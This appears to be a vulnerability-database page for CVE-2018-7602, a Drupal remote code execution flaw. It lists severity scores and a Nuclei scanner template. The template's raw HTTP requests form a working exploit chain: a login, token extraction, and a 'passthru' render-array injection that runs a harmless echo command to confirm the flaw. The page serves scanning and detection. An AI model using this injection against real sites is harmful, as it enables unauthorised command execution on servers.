Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2018-7602
HistoryFeb 04, 2022 - 7:09 p.m.

Drupal - Remote Code Execution

2022-02-0419:09:58
ProjectDiscovery
github.com
28

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

Drupal 7.x and 8.x contain a remote code execution vulnerability that exists within multiple subsystems. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild.

id: CVE-2018-7602

info:
  name: Drupal - Remote Code Execution
  author: princechaddha
  severity: critical
  description: Drupal 7.x and 8.x contain a remote code execution vulnerability that exists within multiple subsystems. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild.
  impact: |
    Remote attackers can execute arbitrary code on the affected Drupal installations.
  remediation: |
    Upgrade to Drupal 7.58, 8.3.9, 8.4.6, or 8.5.1 or apply the necessary patches provided by Drupal.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/drupal/CVE-2018-7602/drupa7-CVE-2018-7602.py
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7602
    - https://www.drupal.org/sa-core-2018-004
    - https://www.exploit-db.com/exploits/44557/
    - http://www.securitytracker.com/id/1040754
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7602
    epss-score: 0.97448
    epss-percentile: 0.99947
    cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: drupal
    product: drupal
    shodan-query: http.component:"drupal"
  tags: cve,cve2018,drupal,authenticated,kev,vulhub,edb

http:
  - raw:
      - |
        POST /?q=user%2Flogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_id=user_login&name={{username}}&pass={{password}}&op=Log+in
      - |
        GET /?q={{url_encode("{{userid}}")}}%2Fcancel HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q={{url_encode("{{userid}}")}}%2Fcancel&destination={{url_encode("{{userid}}")}}%2Fcancel%3Fq%5B%2523post_render%5D%5B%5D%3Dpassthru%26q%5B%2523type%5D%3Dmarkup%26q%5B%2523markup%5D%3Decho+COP-2067-8102-EVC+|+rev HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_id=user_cancel_confirm_form&form_token={{form_token}}&_triggering_element_name=form_id&op=Cancel+account
      - |
        POST /?q=file%2Fajax%2Factions%2Fcancel%2F%23options%2Fpath%2F{{form_build_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_build_id={{form_build_id}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        words:
          - 'CVE-2018-7602-POC'

    extractors:
      - type: regex
        name: userid
        group: 1
        regex:
          - '<meta about="([/a-z0-9]+)" property="foaf'
        internal: true
        part: body

      - type: regex
        name: form_token
        group: 1
        regex:
          - '<input type="hidden" name="form_token" value="(.*)" />'
        internal: true
        part: body

      - type: regex
        name: form_build_id
        group: 1
        regex:
          - '<input type="hidden" name="form_build_id" value="(.*)" />'
        internal: true
        part: body
# digest: 4a0a0047304502204dec12f369a9044e8dc3ba9c641723199442f60a3736e83f89caca37cd8118b5022100cda38fa6e52e8717c3073dff9123fc3707428e477982dd4549e372892f2a082e:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%